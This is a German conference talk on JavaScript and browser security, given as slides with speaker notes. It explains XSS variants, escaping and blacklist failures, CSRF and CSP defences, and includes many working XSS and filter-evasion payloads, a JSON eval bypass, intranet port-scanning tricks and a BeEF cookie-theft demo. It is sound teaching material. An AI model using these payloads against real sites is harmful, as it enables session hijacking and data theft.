JavaScript und Security - JavaScript Days 2013 Berlin

Guten Morgen!

1
Guten Morgen zusammen?

Müdigkeit:
Ich > Ihr.
2
Ich bin übrigens deutlich müder als Ihr. Ich bin heute morgen mit dem Flieger aus München
gekommen, das heisst: um 5:30 am Flughafen sein, also um halb 5 aufstehen. Und bei uns
ist gerade Oktoberfest.

Berliner Flughafen?!
3
Für mich als Münchner war das erst mal verblüffend hier überhaupt anzukommen - hey, die
Berliner haben einen Flughafen? Ist der denn schon fertig?

Berlin FTW!
4
Aber nichts desto trotz, ich freue mich in Berlin zu sein. Wer kommt alles aus Berlin?
Hamburg? München? Eigentlich sollte ich nach was anderem fragen: Wer entwickelt auf
node.js? Wer eher im Browser?

JavaScript Days Muc
5
Aber zurück zu München. Mirko und die Jungs von Qafoo hatten mich dort gefragt, ob ich
nicht auch einen Vortrag machen möchte. Im wesentlichen weil mein Büro 300 Meter von den
JavaScript Days entfernt war.

DISCLAIMER:
No JavaScript-God
But pretty good at
breaking stuff.
6
Vielleicht noch eins vorweg - ich habe nur begrenzt viel Ahnung von JavaScript. Aber ich bin
ziemlich gut darin, Dinge kaputt zu machen. Auch JavaScript, Browser, Server, you name it, i
break it.

Warum JavaScript
aus den gleichen
Gründen
Gold und Müll ist
7
Der Inhalt des Vortrags in München war in etwa, warum JavaScript als den gleichen Gründen
völlig mächtig und super ist - und parallel dazu ein völlig riskantes, hirntotes Konstrukt.

OH NOES!
JavaScript Security!
8
Einer der Hauptgründe für warum es echt schmerzhaft ist ist Security. Und nach dem Talk
haben wir dann noch mal drüber gesprochen, ob man nicht mal einen Workshop darüber
machen sollten. Und da bin ich.

CPU
BUS
Speicher
9
In meinem Talk im März habe ich das wie ein guter Informatiker abstrakt und umständlich
begründet. Und zwar mit der von Neumann-Architektur. Die sagt: es gibt einen CPU, und die
redet über einen BUS nicht nur mit Input und Output, sondern auch mit dem Speicher.

CPU
BUS
Speicher:
Echte Daten
Laufzeitdaten: Heap, Stack
10
Konkret beﬁnden sich im Speicher echte Daten, also zum Beispiel Adressen oder so, aber
auch Laufzeitdaten wie Variablen und Funktionsaufrufe. Die beﬁnden sich im Stack der
Prozesse, oder im Heap für angeforderte Daten.

Speicher:
Echte Daten
Laufzeitdaten: Heap, Stack
Für die CPU sind
Daten, Laufzeitvariablen
und Code das gleiche
11
Und das hat vor allem eine Konsequenz:
Für die CPU sind Daten, die Laufzeitvariablen, die Laufzeitdaten und der Code das gleiche:
manipulierbarer Speicher.

Für die CPU sind
Daten, Laufzeitvariablen
und Code das gleiche
•Buffer Overﬂows
•Integer Overﬂows
•Format String Bugs
•Use after Free 12
Und das resultiert in ca 80 Prozent der Bugs in Betriebssystemen, Servern, die zu Security-
Problemen führen.
Deshalb wurde beliebig viel Zeit in das Engineering von CPUs und Betriebssystemen gesteckt.
Inzwischen können steht an den Speicherpages explizit dran, welche executiert werden
dürfen und welche nicht, und der Laufzeitspeicher ist randomisiert und nicht mehr erwartbar.

Browser: Daten, Code, Darstellung
OS: Variablen
Für den Browser sind
Daten, Code und
Darstellung das gleiche
13
Wirrerweise hat man dann im Browser eine ähnliche Architektur gewählt - vermutlich
erwartete man nicht, dass das Konzept dermassen erfolgreich sein würde. Der Server redet
mit dem Browser nur über einen langen String, und der enthält den Content - und seit 1995
auch die Programmiersprache JavaScript. Daten können in der Seite oder separat stattﬁnden.

Daten, Code und
•Session Riding
•XSS
•CSRF
•JavaScript Hijacking
•Clickjacking
 14
Und genau daraus resultieren die ganzen Bugs, die wir in der JavaScript-Welt haben. Zu den
einzelnen Punkten komme ich natürlich noch.

15
Aber nicht nur da hatte der Herr von Neumann einen Vorteil. Bei ihm war das noch einfach. Es
gab nämlich nur einen Rechner, und der war trusted. Weil jemand den Schlüssel zu dem
Raum hatte, in dem der Rechner stand. Und nur der kam an den Rechner ran. Also durfte der
machen, was er will.

16
Beim Browser sieht das anders aus - da habe ich zwar meinen lokalen Client, dem ich zwar
prinzipiell vertraue - aber dieser führt Code aus, der aus dem Internet kommt - und dem ich
meistens nicht vertrauen. Deshalb wird JavaScript ja auch in einer Sandbox ausgeführt.
Und meist habe ich Daten und JavaScript von verschiedenen Quellen auf, die wiederum
andere Quellen einbinden können - dementsprechend kann ich dem, was im Browser
passiert, nie wirklich trauen. Deshalb wurde HTTPs eingeführt, damit ist wenigstens - jenseits
der NSA - die Authentizi

•2.5 Milliarden Browser-Clients
•1 Milliarde Smartphones
•Private Daten im Browser
•Bankdaten im Browser
•Milliardensummen in Transaktionen
Largest Attack
Surface Ever!
17
Und die Graﬁk von eben gibt es nicht nur einmal. Sondern endlos oft. 2.5 Milliarden Clients
werden genutzt, inzwischen fast genausoviele Smartphones. Jeder hat inzwischen mehr
private Informationen im Browser als im Tagebuch. Mehr Geld über Online-Transaktionen
verwaltet als über Unterschriften.

E
Und konkret?
18
Aber genug vom theoretischen Erzählen .... gucken wir doch mal an, was alles faktisch
dahinter steht.

KXSS
19
Erster und wichtigster Kandidat ist XSS. Wer weiss alles, was XSS lang heisst?

KXSS
Cross
Site
Scripting
20
Genau, das sollte auch jeder Wissen.
Weiss jemand, warum das so heisst?
Exakt, weil die Jungs schlicht nicht nachgedacht haben.
Eigentlich ist das aber ein Misnomer, weil es eigentlich nur wenig mit Cross Site zu tun hat.

KXSS
JavaScript
Injection
21
Eigentlich reden wir über JavaScript Injection, denn das ist das, was tatsächlich passiert. Auf
dem Computer lokal wäre das kein Problem - aber wir haben es eben genau nicht mit nur
einem Rechner zu tun, sondern mit ganz vielen - und das macht das ganze erst möglich.

KXSS
<html>
<head>
<title>JavaScript-Test</title>
<script src="quadrat.js" type="text/javascript">
</script>
</head>
22
JavaScript kann der Browser eigentlich gar nicht direkt ausführen. Die Ausführung passiert
erst dann, wenn ein Dokument das JavaScript einbettet. Und das passiert so.
Und wenn es nur so ginge, dann hätten wir ein Problem weniger.

KXSS
<html>
<head>
<title>JavaScript-Test</title>
<script src="quadrat.js" type="text/javascript">
</script>
</head>
I WANT MOAR!
23
Aber diese Variante war den Jungs von Netscape damals alleine zu unpraktisch. Es wäre doch
total praktisch, wenn man das Javascript auch an anderen Stellen einsetzen könnte ...

KXSS
<html><head><title>JavaScript-Test</title>
<script type="text/javascript">
alert(“Hi!“);
</script>
</head>
24
Wie zum Beispiel einfach direkt im Script Tag. Ok, das lag auf der Hand, aber ab dem Moment
gibt es ab ... wäre es nicht auch super, wenn man zum Beispiel ...

KXSS
<a href=“javascript:alert(/Hi!/);“>Click me</a>
25
Einfach URLs nutzen könnte, um JavaScript auszuführen???

KXSS
<meta http-equiv=“refresh“
content=“0;url=“javascript:alert(1);“>
26
Hey, das wäre cool. Schliesslich können wir URLs fast überall nutzen. Und da geht das dann
auch.

KXSS
<table background=“javascript:...
27
Ja, das ging auch mal. Was wären wir ohne Table-Backgrounds, die Script-Gesteuert sind.
Glücklichweise haben die Browserhersteller relativ früh gemerkt, dass das kein guter Plan ist.
Aber immerhin - Gerüchten zufolge soll es noch Nutzer geben, die alte Browser einsetzen.

KXSS
<input value=“12“ onmouseover=“alert(1);“>
28
Dann haben die Jungs von Netscape noch mal weitergedacht, und kamen auf die Idee, das
ganze doch noch mal Inline machen zu können, wie damals in Delphi, einfach eine Aktion an
das GUI-Element koppeln. Oder wie bei Visual Basic.

KXSS
<style>a: expression(alert(1))</style>
29
Und wäre es nicht aus super, wenn man die Darstellung, die inzwischen über CSS gesteuert
wird, automatisieren könnte? Glücklicherweise mit IE8 endgültig deaktiviert, und IE-only.

KXSS
<STYLE>.XSS{background-
image:url("javascript:alert('XSS')");}</
STYLE><A CLASS=XSS></A>
30
Hey, und wenn das nicht geht - wir können das ja auch noch über URLs machen.
Glücklicherweise auf neuen Browsern auch nicht mehr möglich.

KXSS
<script>
xss = “alert(1);“;
eval(xss);
</script>
31
Und, weil wir schliesslich Informatiker sind: das sollte auch Meta und Rekursiv können.
Natürlich muss JavaScript auch JavaScript ausführen können.

KXSS
32
Und wenn wir schon mal dabei sind ... wir könnten doch auch Plugins damit steuern. Das
wäre doch super. Und damit hätten wir auch endlich wieder Zugriff auf die ganzen Super Bugs
aus der C-Welt: Buffer Overﬂows, Format String Bugs, Integer Overﬂows.

KXSS
33
Und generell, wäre es nicht super, wenn jeder, der in Zukunft neue Dinge im Browser macht,
sie auch gleich scripten könnte? Dann könnten wir alles Super automatisieren!
MathML und JavaScript war so kaputt, das Chrome es nach wenigen Versionen wieder
rausgeworfen hat.

KXSS
Das ist
unpraktisch!
34
Das ist zwar auf der einen Seite, irgendwie total cool, dass ich das überall verwenden kann,
auf der anderen Seite aber massiv unpraktisch.

KXSS
Daten, Code und
35
Denn: Alles ein langer String.. Weil unsere Daten, unsere Darstellung und unser Code für den
Browser das gleiche sind.

KXSS
Ich wollte doch nur
Daten schreiben!
36
Und genau da kommen unsere Probleme her - ich wollte als Entwickler nur Daten oder
Layout-Elemente erzeugen. Und der Browser, die Sau, hat sich entschlossen, meine Daten
ganz stumpf als Executable Code zu nutzen.

KXSS
<p>Name: Hartmann</p>
<p>Name: Hartmann<script>alert(1);</
script></p>
37
Das ist der Klassiker der Hacker-Formular-Tourette: eigentlich wollte ich nur meinen Namen
eingeben, irgendwie kam dann aber ein ganz anderer String heraus, und der machte diesen
Unsinn. Eigentlich sollten da nur Daten stehen, keine Ahnung, warum der Browser da jetzt
Unsinn macht.

KXSS
<script>
plz = 80331;
<script>
<script>
plz = 80331;alert(1);
<script>
38
Auch das passiert: Da wollte ich meine Javascript nur die Postleitzahl des Nutzers in die Hand
geben, und durch einen doofen Typo hat es JavaScript erkannt.
Weiss jemand wie ich es richtig escaped hätte? Wieder hätte ich eigentlich nur Daten haben
wollen.

KXSS
<input type=text value=“Hartmann“>
<input type=text value=“Hartmann“
AUTOFOCUS onfocus=“alert(1);“>
39
Hier wollte ich meinem Formularfeld nur sagen wie ich heisse. Dieses mal habe ich mit dem
Typo aus Versehen gleich HTML5 gemacht, und schwupps, war da auch schon wieder ein
Alert;

KXSSXSS Type 0:
Dom-based XSS
Lokal, nur im Client, ohne Server.
Deshalb hilft serverside Mitigation nicht.
Meist basierend auf location.*
40
Aber woher kommen die Daten, die da an den falschen Stellen ausgegeben werden?
Da unterscheidet man drei Typen. Der erste ist Type 0 XSS, auch DOM-based XSS genannt.
Der passiert rein im Browser, und damit auch schon auf statischen HTML-Files. Er braucht
auch keine Server, und Web Application Firewalls oder Pentesting bzw. Tests hilfen nicht.
Man kann sich nur direkt im Javascript schützen.

KXSSXSS Type 1:
Reﬂected XSS
Die typische XSS.
Eingabe -> Ausgabe -> Boom.
Schön zu testen.
Andere Seite heilt den XSS.
41
Der bekannteste Typ, unter dem auch gemeinhin XSS verstanden wird, ist der XSS Typ1, der
reﬂektierte XSS. Meist gibt es hier eine Eingabe und gleich auf der nächsten Seite eine
Ausgabe - zB bei Formularen. Er ist nur für denjenigen sichtbar, dessen Browser auch den
Ursprungsrequest abgeschickt hat. Der Schutz passiert meist auf der Serverseite.

KXSSXSS Type 2:
Persistent XSS
Wie reﬂektierter XSS, aber gespeichert.
Auch für andere Nutzer sichtbar, kann viral
werden.
42
Der dritte Typ ist der aggressivste, der Persistente XSS. Der passiert, wenn ich zB in ein
Forum einen XSS einschleusen kann, der dann von anderen Nutzern auch gesehen wird. Oder
XSS in einem Chat.

KXSSXSS Type X:
Somewhere Else
Eingebettetes remote.js
Externe JSONPs
Daten aus der Datenbank
Handschrift auf der Überweisung
43
Und es gibt natürlich beliebige andere Quellen, von denen meine Applikation die Daten
bekommt.

KXSSRich Internet
Applications
Bei Single Page Applications ist jeder XSS
persistent, weil keine Heilung mehr durch
einen URL-Wechsel stattﬁndet.
44
Das gemeine an allen drei Typen ist, dass das inzwischen für uns meist fast egal ist. Denn bei
den Single-Page-Applications, die wir normalerweise schreiben, hilft es nichts mehr - es
bleibt immer der gleiche Seitenscope bestehen, und damit ist jeder XSS, zumindest für die
Zeit der Session, persistent.

KXSS
Escaping FTW!
45
Also wurde zunächst einmal escaped. Wer setzt hier $.html() in Jquery ein, um Output zu
escapen?

KXSS
escapeHtml(“Hartmann<script>alert(1);</script>“);
46
Ich nehme hier mal die Escape-Funktion aus Mustache, vom Jan Lehnhardt.

KXSS
<p>Name: Hartmann</p>
<p>Name:
Hartmann>script<alert(1);>/
script<</p>
47
Das klappt tatsächlich, wie cool!

KXSS
escapeHtml(“Hartmann“ AUTOFOCUS onfocus=
“alert(1); “);
<input type=text value=“Hartmann"
AUTOFOCUS onfocus="alert(1);“>
48
Heja, der klappt ja auch! Endlich habe ich eine Escape-Funktion, die Universell ist...

KXSS
<script>
plz = 80331;
<script>
<script>
plz = 80331;alert(1);
<script>
49
Und schauen wir uns noch mal das JS-Beispiel direkt an - das gilt btw. auch für alles, was
direkt in einem Exekutierbaren Scope landet, also auch events etc. Da funktioniert das nicht
weil wir dazu hätten „;“ escapen müssen
Das gleiche gilt für ausgaben in JavaScript Events.

KXSS
Universelles Escaping
funktioniert nicht.
50
Fazit: Universelles Escaping funktioniert nicht.

KXSS
ÜBUNG
ESCAPING
51
Übung zu Escaping einbringen.

KXSS
$name =$_GET[‘name‘];
$name = escapeme($name);
<script>
name = “...“;
<script>
Input
Output
52
Wie würde hier die Escapeme aussehen?

KXSS
Input
Output
$data =
‘{vorname:“johann“,nachname:“Ha
rtmann“}‘;
<script>
var data = myfunction(“...“);
<script>
53
Wie würde hier die myfunction aussehen?

KXSS
Input
Output
$wysiwyg = “<div>Hi!</div>“;
$layout = escapeme($wysiwyg);
<body>
....
</body>
54
Und hier?
Genau, universelles Escaping funktioniert nicht.

KXSS
Blacklists ftw
55
Also wurde zunächst Blacklisting erfunden. Sprich: ich gucke nach bösen Sachen und ﬁltere
sie heraus. Jemand hier, der Blacklists einsetzt? PHPIDS? Validator aus Node.js?

KXSS
script></p>
<p>Name: Hartmannalert(1);</p>
56
Blacklists sollten die gefährlichen Ausdrücke entfernen, so dass kein JavaScript mehr
ausgeführt werden kann. Also wurden die einfach entfernt.

KXSS
<p>Name:
Hartmann<scr<script>ipt>alert(1);</
scri<script>pt></p>
script></p>
57
Darauf haben die Hacker dann reagiert, indem sie einfach das, was entfernt wird, wieder
ergänzt haben. Das hat nur so mittel geklappt. Danach sind die aber besser geworden, und
laufen heute so lange über einen String, bis sie nichts mehr ﬁnden.

KXSS
<p>Name:
Hartmann<scr<script>ipt>alert(1);</
scri<script>pt></p>
<p>Name: Hartmann[removed]alert(1);
[removed] </p>
58
Inzwischen sind die natürlich auch besser geworden, und im regelfall - zB bei node.js
validator - sieht das so aus.

KXSS
<script>
plz = 80331;
<script>
<script>
plz = 80331;alert(1);
<script>
59
Dieses Ding bleibt trotzdem unangetastet. Ok, bei einigen Blacklists ﬂiegt alert raus ....

KXSS
<script>
plz = 80331;
<script>
<script>
plz = 80331;prompt(1,1);
<script>
60
... da muss man dann prompt(1,1) zum testen nehmen :-).

KXSS
Universelles
Blacklisting
funktionert nicht.
61
Fazit: Universelles Blacklisting funktioniert auch nicht.

KXSS
Ok, Escaping geht nicht, Blacklisting geht
nicht.
Sonst noch was um meine Laune zu
verderben?
62
Das ist ja schon mal nicht so gut. Aber sind wir damit schon am Ende?

KMXSS
The innerhtml
Apocalypse
63
Natürlich nicht, das wird noch eins komplizierter. Und zwar weil Browser tolerant sind. Die
wollen nicht nur überall JavaScript executen, sondern die wollen auch aus jedem Syntax etwas
nützliches machen.

KMXSS
Es steht das drin,
was gemeint war.
64
Natürlich nicht, das wird noch eins komplizierter. Und zwar weil Browser tolerant sind. Die
wollen nicht nur überall JavaScript executen, sondern die wollen auch aus jedem Syntax etwas
nützliches machen. Klar, wer die Anfänge auf Geocities mitbekommen hat - da war mit
sauberem Syntax nichts zu holen.

KMXSS
Demotime!
Idee, Konzept, sonstiges:
alles geklaut bei Mario Heiderich
65
Demo!
ﬁle:///Users/johann/javascript/innerhtml_test.html
Siehe http://de.slideshare.net/x00mario/the-innerhtml-apocalypse

KMXSS
HTML im Browser != geschriebenes HTML
•abhängig von Browserversion
•abhängig von Browsermode
•abhängig von Position im HTML
66
Was lernen wir daraus? Es kommt nicht darauf an, was wir selbst als JavaScript schreiben,
sondern es kommt darauf an, was der Browser daraus macht.

KMXSS
Beispiel: <i foo="<b>" [EOF]
Firefox, Chrome, Safari: da ist nur ein <i>-Tag
IE, Opera: Da ist ein <i> und ein <b>-Tag
67
Mal ein anderes konkretes Beispiel, unser File hört mit einem Tag i mit einem Attribut auf -
dann wird das <b>-Tag in IE und Opera als solches interpretiert.

KXSS
Are we done
yet?
68
Ok, sind wir jetzt endlich mit den ganzen Problemen durch?

KXSS
Nope.
69
Klar gibt es noch mehr!

KXSS
<div data-dojo-type="dojox/calendar/Calendar"
data-dojo-props="startDate: new Date(2012, 0, 1), endDate:
new Date(2012, 0, 9)"
style="position:relative;width:500px;height:500px"></div>
70
Wir haben ja schliesslich noch JavaScript Libraries. Und auf einmal gibt es Properties die
Aktionen auslösen, die ich noch gar nicht kenne - zum Beispiel über Widgets. In HTML5 gibt
es das auch, aber da triggern sie kein JavaScript, das eigene Lücken enthalten kann.

KXSS
Vorher galt:
Attribut mit on* -> Triggert JavaScript
71
Und das ist wichtig - denn vorher konnte man sich darauf verlassen, dass JavaScript nur über
Events, also über Attribute, die mit on* beginnen getriggert wurde - und alles andere
funktioniert automatisch.

KXSS
72
Und nicht nur da spielen die Libraries eine Rolle.
Wer setzt alles Jquery ein? (Jetzt sollten sich alle melden)

KXSS
73
Da steht ja nicht umsonst „write less, do more“ drunter. Das passiert tatsächlich.

KXSS$()
74
Das wird zum Beispiel mit der sehr mächtigen $() funktion gemacht, die abhängig von Inhalt
unterschiedliche Dinge tut. Das erlaubt einem sehr schnell zu sein. Das ist cool.

KXSS$()
75
Aber das bedeutet auch, dass man nicht immer weiss, was passiert. Und das ist ein Problem.

KXSS
Sink: eine Funktion, die ein Risiko darstellt,
wenn ihr nicht vertrauenswürdiger Input
übergeben wird.
76
In Security spricht man von einer Sink wenn man eine Funktion hat, die in einem Security-
Problem resultiert, wenn sie fremde Daten bekommt oder die Daten nicht sanitized sind.
SQL-Funktionen sind solche Sinks, wenn ich dort einen String direkt eingebe, dann wird er
ungeﬁltert der Datenbank übergeben und kann SQL-Injections erzeugen. eine
Multiplikationsfunktion wäre dementsprechend Risikofrei.

KXSS
$() ist eine Sink
$("<img src='dd' onerror='alert(1)'>");
77
Und genau da kommt unser Problem her - $() ist eine Sink, und nicht jeder weiss es.
Ich darf also $() nur validierten Input in die Hand geben.
Quelle: https://www.owasp.org/images/9/95/JS_Libraries_Insecurity_-_Stefano_DiPaola.pdf

KXSS
Ok, aber
ist das wirklich
ein Problem?78
Da stellt sich natürlich die Frage - ist das wirklich ein Problem?

KXSS
Wenn JavaScript ausgeführt werden kann,
dann ist das vollständige Vertrauen im
aktuellen JavaScriptkontext zerstört.
79
Ja, ist es. Das erste liegt an der Sprache selbst. Die Sprache erlaubt die Manipulation und das
Überschreiben von allem, auch von den Browsereigenen Objekten und Methoden.

KXSS
80
Ich brauche bloss window.alert(); auf eine neue Funktion zu binden, und schon passiert etwas
ganz anders wenn ich einen alert() triggere. Das gleiche gilt natürlich auch für Objekte wie
xmlhttprequest.

KXSS
Same Origin Policy
81
Eigentlich kann ich mit JavaScript auch nur auf Ressourcen meines Servers zurückgreifen,
dank der Same Origin Policy. Faktisch sieht das aber anders aus, mit ein paar Tricks.

KXSS
Erkennung der Browser-IP per WebRTC
Intranet
82

KXSS
nmap für Arme: Host- und Portscanning
Intranet
82

KXSS
nmap für Arme: Host- und Portscanning
über Iframes, Img-Tags, JavaScript, ohne
JavaScript über Timing von <link>-Includes:
<img src=“http://192.168.2.1:80/“
onError=“stoptimer(“192.168.2.1“, 80);“ />
Intranet
82

KXSS
Dictionary-Attacken auf das Intranet
Intranet
83

KXSS
Erkennung von Devices und vorhandener
Logins über URLs
Intranet
83

KXSS
Erkennung von Devices und vorhandener
Logins über URLs
Breite Angriffe (zB Drive-By-Pharming)
Intranet
83

KXSS
var handle =
window.requestAnimationFrame(callback);
Pixel Perfect Timing
84

KXSS
var handle =
Nutzen um die Frame Rate auszurechnen
84

KXSS
var handle =
Über -moz-element iframe als vergrösserten
Background für ein <div> nutzen
84

KXSS
var handle =
Über -moz-element iframe als vergrösserten
Background für ein <div> nutzen
teuren Morphology-Filter über einzelne
Pixel legen und Frame Rate messen
84

KXSS
http://www.contextis.com/ﬁles/Browser_Timing_Attacks.pdf
85
Hier sehen wir wie das funktioniert - links oben der Originale frame, rechts das div mit der
Kopie, unten links ein Frame mit Treshhold als Filter, und rechts unten ein einzelner Pixel -
und über diesen wird die Framerate gemessen.

KXSS
Geht natürlich auch mit view-source: urls im
Chrome
86

KXSS
Chrome
Framebuster/ X-Frame-Options schützen
86

KXSS
Chrome
Facebook-Comments/Likes wollen
embedded werden
86

KXSS
Chrome
Facebook-Comments/Likes wollen
embedded werden
OCR funktioniert.
86

KXSS
Demotime!
http://beefproject.com/
87
1. Neuer Browser
http://whatismyipaddress.com
IP notieren
2. Blog-URL
http://blog.mayﬂower.de
3. in http://beef.mayﬂower.de/ui/panel einloggen
4. Links die Zombies zeigen
5. Rechts Log zeigen
6. Meine IP raussuchen
7. Detail-Seite vorstellen - alles, was einfach ohne tricks über JavaScript zu ermitteln ist, quasi Browser Capabilities
7. Rider
Nutzung des Fremden Browsers als Proxy- auf der gehijackten Domain, weil Same Origin
8. Commands
Browser
Domain
8.1 get cookie
-> session riding mit login
8.2 get page hrefs
8.3 alert dialog
8.4 Full Page Rickroll
8.5 Webcam Permission check - interesting domains
8.6 Host - Get internal IP
8.7 DOSer
8.9 Persistence - create popunder.
9.0 Phonegap & Extension exploits

CXSSExtensions,
& HTML5
& Phonegap
88
Da sind wir auch gleich beim nächsten Thema - HTML / XSS jenseits des Browsers.

CXSS
Faktisch: HTML5-Applications
Extensions
http://de.slideshare.net/kkotowicz
89

CXSSExtensions
Pro Domain* Sonderrechten:
chrome.tabs
chrome.bookmarks
chrome.history
chrome.cookies
90

CXSSExtensions
Pro Domain* Sonderrechten:
chrome.tabs
chrome.bookmarks
chrome.history
chrome.cookies
40%
http://*/*
https://*/*
91

CXSSExtensions
Halten sich inzwischen an Content
Security Policy
Aber: diverse eval()s in Libraries
(mustache, underscore, jQuery template)
92

CXSSExtensions
Resultat:
Voller Zugriff auf alle Seiten im Browser
Inkl. Cookies und Logins
Facebook, GMail, Twitter, ...
93

CXSSHTML5
<input type=ﬁle directory>
94
Das neue Directory-Attribute im Chrome erlaubt vollen Lesezugriff auf das Verzeichnis,
nachdem es ausgewählt wurde. Einfach Download anbieten, „Download to Folder“-Button
machen - und schon hat man Zugriff auf das ganze Verzeichnis.

CXSSHTML5
Alte Bugs in neuen Variationen:
<input onfocus=alert(1) autofocus>
<input onblur=alert(1) autofocus><input autofocus>
<form id=test onforminput=alert(1)>
<button form=test onformchange=alert(2)>
<button form=test onformchange=alert(2)>
<math href="javascript:alert(1)">CLICKME</math>
95
Und natürlich werden alle alten Blacklistﬁlter durch neue Attribute und Tags ausgetrickst.

CXSSPhonegap
User-Content mit XSS:
WTF: XSS Prevention ist Blackberry Only
96

CXSSPhonegap
Capabilities über Permissions:
Camera, Contacts, Files, Geolocation,
Media,...
Alle Capabilities der App in XSS nutzbar
97

CXSS
Are we done
now, please?98
Sind wir jetzt endlich mit den ganzen Security Problemen durch?
Wer meint wir wären durch?
Genau, jetzt kommen wir erst zu den Highlights.

hJSON
JavaScript Object Notation
„Hey, it‘s Data and Code!“
99
JSON, die JavaScript Object Notation. Wer wendet es alles an?
Warum ist das so charmant? Weil es gleichzeitig ein Datenformat ist, das aber direkt als Code
angewandt werden kann - erinnert das jemanden an etwas?
Man muss es also nur in ein Eval() kippen? Wer der anwesenden macht das mit JSON?

hJSON
A JSON text can be safely passed into JavaScript's eval() function
(which compiles and executes a string) if all the characters not
enclosed in strings are in the set of characters that form JSON
tokens. This can be quickly determined in JavaScript with two
regular expressions and calls to the test and replace methods.
var my_JSON_object = !(/[^,:{}[]0-9.-+Eaeflnr-u nrt]/.test(
text.replace(/"(.|[^"])*"/g, ''))) &&
eval('(' + text + ')');
http://www.ietf.org/rfc/rfc4627.txt:
100
JSON wird in der RFC 4627 deﬁniert. Dort steht auch drin, dass man es direkt evaluieren
kann.
Wenn man vorher zwei Regex dagegen wirft. Dann geht das in Ordnung. Also nicht einfach
nur Eval, sondern vorher evaluieren

hJSON
// Courtesy of Eduardo `sirdarckcat` Vela Nava
+{ "valueOf": self["location"],
"toString": []["join"],
0: "javascript:alert(1)",
length: 1
}
101
Und das ist der String, der trotzdem durchkommt. Von Sirdarckcat, heute Mitarbeiter von
Google.

hJSON
Danke, Internet Explorer.
102
Glücklicherweise gibt es nur einen Browser, der das als Code sieht - leider ist er immer noch
an Platz 2 der Browserstatistik. Selbst die RFC konnte nicht vorhersehen, was der Browser
alles als JavaScript interpretiert.

M
Typosquatting
XSS
1. Registrier die Domain googlesyndicatio.com
2. Erzeuge ein ﬁle http://pagead2.googlesyndicatio.com/
pagead/ads
3. 12.000 Aufrufe pro Tag
4. Beefproject FTW
103
Und noch eine letzte Geschichte aus der Kategorie „Man glaubt es nicht:“
Die Jungs von der Security-Firma Securitee haben im Sommer einfach mal die Domain
googlesyndicatio.com reserviert - so wie die alte Google-Ads-Domain, vor vielen, vielen
Jahre,nur mit einem Typo. Da haben sie dann ein Script abgelegt.

fCSRFCross Site
Request Forgery
„Sea Surf“
„Anfragenfälschung“
104
Aber es gibt nicht nur XSS, die eine Rolle bei JavaScript-Applikationen spielen. Die zweite
Klasse von Bugs, die durch die defekte Architektur von Browsern entstehen. Wenn ich mit
meinem Browser auf Google Mail angemeldet bin, dann gilt diese Anmeldung auch für die
anderen Tabs im Browser - sie können zwar nicht die Daten lesen, aber wenn ich aus meinem
evil.com einen Request mit der Formaction Richtung Google abschicke, dann kommt die dort
mit der Authentiﬁzierung - sprich dem Cookie - meines Browsers an.

fCSRFCross Site
Request Forgery
Schutzmaßnahmen:
Referercheck (nicht ausreichend)
Token-Authentiﬁzierung
105
Gegen Cross Site Request Forgery schützt man sich in ganz schlecht mit einer Verlagerung
von GET auf POST, in etwas weniger schlecht mit einem Referer-Check, den man mit etwas
geschick umgehen kann, und korrekt mit einer Token-authentiﬁzierung, der mit dem
Formular mitgeliefert wird und nur meinem Client und dem Server bekannt ist.

fCSRFCross Site
Request Forgery
Jeder XSS boykottiert
CSRF-Protection
106
Da kommen wir aber auch gleich zu unserem Problem - wenn meine Seite einen XSS enthält,
dann kann genau dieser Token bequem ausgelesen werden - und dadurch ein falscher
Request hergestellt werden, und im Browser des Clients angeschickt werden. Der XSS muss
noch nicht einmal auf der Korrekten Seite sein - das Formular mit dem Token kann ich dank
Same Origin Policy ja auch direkt mit xmlhttprequest auslesen.

ZXSS
How to ﬁx it.
107
Ok, so langsam können wir ja auch mal schauen, wie man das ganze Repariert.

ZXSS
Schlicht nicht machen:
*.innerhtml ändern
eval();
JSON in eval();
document.write();
108
In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch
aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.

ZXSS
Inline <script>-Javascript
Auslagern
Komprimieren
109

ZXSS
on-Events
Explizit binden:
$('#main').bind("click", function(e) { alert(1) });
110

ZXSS
Alte Libraries (json.js, jquery) updaten
Auch wenn Google sie noch hostet ...
111

ZXSS
Schlicht nicht machen bei JQuery:
Niemals untrusted Input in die Sinks...
JQuery(), $(), $().html, $().before(),
$().after, $().prepend, $().append
112
Bei Jquery sollte man wissen, welchen Funktionen man trauen kann und welchen nicht - also
welche Sinks sind und welche nicht.
All diese Funktionen sollte nicht mit User-Input gefüttert werden.

ZXSS
Schlicht machen:
Korrekt escapen:
Urls mit EncodeURI
HTML zB mit JsHtmlSanitizer
Whitelists wo sie möglich sind
113

ZXSS
Content-Security-Policy: script-src ‘self‘
X-Content-Security-Policy: script-src ‘self‘
X-WebKit-CSP: script-src ‘self‘
Header
114
Der erste Header ist für neue Firefox und Chrome, der zweite für alte Firefox und IE10, der
dritte für Webkit. Achtung: die machen in der Konﬁguration alle schlechte JS-Libraries wie
etwa jquery kaputt, weil diese eben eval() brauchen - und das wird hier deaktiviert.

ZXSS
Content-Security-Policy: default-src ‘self‘
<img src=“bla“ onerror=alert(1)>
Content-Security-Policy: default-src ‘self‘ ‘unsafe-inline‘
<img src=“bla“ onerror=alert(1)>
Header
115
man kann es aber gezielt, etwa für die eigenen Domain oder den JS-CDN seines vertrauens
wieder aktivieren.

ZXSS
CSP deaktivieren:
<meta http-equiv="Content-Security-Policy"
content="default-src 'none'">
injecten.
Header
116
Und mit einer HTML-Injection kann ich das ganze dann doch wieder aktivieren ...

ZXSS
X-XSS-Protection: 1; mode=block
X-FRAME-OPTIONS: DENY
Header
117
Der Internet Explorer hat sich noch mehr Features einfallen lassen, dafür wollte er ja auch
zunächst nicht bei der Content-Security-Policy mitmachen. X-XSS-Protection macht ein
lustiges Filtering von Eingaben und Ausgaben und adressiert vor allem Reﬂektive XSS. Ich
kann also nicht mehr nach <script> auf google suchen, wenn das aktiv wäre.
X-Frame-Options sind wiederum gut, um Clickjacking-Attacken systematisch zu stoppen,
sollte man also machen, wenn man nicht partout eingebettet werden muss.

ZXSS
Die eigene Applikation aus dem Blick des Angreifers...
Pentesting
118

ZXSS
Demo 1:
XSSme in Firefox
Pentesting
119
Url: http://192.168.8.136/mutillidae/index.php?page=add-to-your-blog.php

ZXSS
Demo 2:
Tamper Data in Firefox
Pentesting
120

ZXSS
Demo 3:
Google Skipﬁsh
Pentesting
121
